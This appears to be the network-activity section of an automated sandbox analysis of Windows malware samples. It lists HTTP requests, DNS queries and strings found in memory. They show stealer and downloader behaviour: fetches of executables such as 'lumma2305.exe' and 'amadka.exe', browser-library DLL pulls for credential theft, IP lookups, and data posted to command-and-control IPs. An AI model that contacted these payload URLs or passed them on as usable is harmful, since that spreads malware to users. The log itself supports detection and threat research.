Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199689717899 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59If-Modified-Since: Fri, 24 May 2024 10:18:21 GMTIf-None-Match: "6650696d-258600"Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /api/bing_release.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 85.192.56.26
Source: global traffic	HTTP traffic detected: GET /download.php?pub=inte HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.65.64Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dl.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 185.172.128.159Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /o2i3jroi23joj23ikrjokij3oroi.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 91.202.233.232Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /pelikan HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 176.111.174.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/retail.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /f/oiii.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: f.alie3ksggg.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vape/niko.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 147.45.47.149:54674Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jhgfd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: fleur-de-lis.sbsCache-Control: no-cacheCookie: _subid=38akcjk2e94c8; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1NTA5MjR9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTUwOTI0fSxcInRpbWVcIjoxNzE2NTUwOTI0fSJ9.lNB9KfD5N1rKMJGOoUZ3LB1bXp1R1joE5dDztID5k0o; _token=uuid_38akcjk2e94c8_38akcjk2e94c866507d0d17ce53.65978647
Source: global traffic	HTTP traffic detected: GET /download/th/getimage12.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/space.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xxxxxxxx.jpg HTTP/1.1User-Agent: HTTPREADHost: sta.alie3ksgee.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aaaaaaaa.jpg HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: sta.alie3ksgee.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/sqlite3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lumma2305.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lumma2305.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/bing_release.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 85.192.56.26
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/freebl3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/mozglue.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/msvcp140.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/Retailer_prog.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/nss3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/softokn3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/vcruntime140.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lumma2305.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cpa/ping.php?substr=one&s=two HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /advdlc.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: BHost: 5.42.65.64Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: api.myip.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: f.alie3ksggg.com
Source: global traffic	DNS traffic detected: DNS query: fleur-de-lis.sbs
Source: global traffic	DNS traffic detected: DNS query: vk.com
Source: global traffic	DNS traffic detected: DNS query: monoblocked.com
Source: global traffic	DNS traffic detected: DNS query: lop.foxesjoy.com
Source: global traffic	DNS traffic detected: DNS query: kurd.computer
Source: global traffic	DNS traffic detected: DNS query: f.123654987.xyz
Source: global traffic	DNS traffic detected: DNS query: sun6-23.userapi.com
Source: global traffic	DNS traffic detected: DNS query: sun6-21.userapi.com
Source: global traffic	DNS traffic detected: DNS query: sun6-20.userapi.com
Source: global traffic	DNS traffic detected: DNS query: sun6-22.userapi.com
Source: global traffic	DNS traffic detected: DNS query: psv4.userapi.com
Source: global traffic	DNS traffic detected: DNS query: sta.alie3ksgee.com
Source: global traffic	DNS traffic detected: DNS query: iplis.ru
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: iplogger.org
Source: global traffic	DNS traffic detected: DNS query: api.2ip.ua
Source: global traffic	DNS traffic detected: DNS query: db-ip.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: www.rapidfilestorage.com
Source: global traffic	DNS traffic detected: DNS query: helsinki-dtc.com
Source: global traffic	DNS traffic detected: DNS query: service-domain.xyz
Source: global traffic	DNS traffic detected: DNS query: skrptfiles.tracemonitors.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: api2.check-data.xyz

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHCGDAFBKFIDHJJJDHCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Fri, 24 May 2024 11:42:07 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 24 May 2024 11:42:24 GMTContent-Type: text/html; charset=UTF-8Content-Length: 15832Connection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACritical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Content-Options: nosniffX-Frame-Options: SAMEORIGINcf-mitigated: challenge

Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2290350767.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2290103551.00000000016D5000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/cost/go.exe
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/cost/go.exe92.168.0
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2290350767.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2290103551.00000000016D5000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/cost/lenin.exe
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2290350767.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2290103551.00000000016D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/cost/lenin.exellets
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2290350767.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2290103551.00000000016D5000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/hera/amadka.exe
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2290350767.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2290103551.00000000016D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/hera/amadka.exe.dat
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/hera/amadka.exeA0R
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exe
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exeV
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exeh
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.111.174.109/pelikan
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.111.174.109/pelikanpub=inte
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.1
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470394380.0000000002E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2458664896.0000000000549000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.php
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2511825136.0000000029452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.php#
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.php#sQ
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.php-minuser-l1-1-0
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2511825136.0000000029452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.php/Y
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2511825136.0000000029452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.php1DW
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.php8s
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.php?su
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2511825136.0000000029452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.phpDW
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2511825136.0000000029452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.phpQ
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2511825136.0000000029452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.phpVDW
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.phpYp
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2511825136.0000000029452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.phpc
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2458664896.0000000000549000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.phpd8643e8f5f3ae30a487e2f56f5adrelease5744e170f7449cde38f4ba
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2511825136.0000000029452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.phpo
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.phpts
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2511825136.0000000029452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/7043a0c6a68d9c65.phpu
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/8420e83ceb95f3af/freebl3.dll
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/8420e83ceb95f3af/mozglue.dll
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/8420e83ceb95f3af/msvcp140.dll
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/8420e83ceb95f3af/nss3.dll
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/8420e83ceb95f3af/softokn3.dll
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/8420e83ceb95f3af/softokn3.dllP_
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/8420e83ceb95f3af/sqlite3.dll
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170/8420e83ceb95f3af/vcruntime140.dll
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470394380.0000000002E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.170k
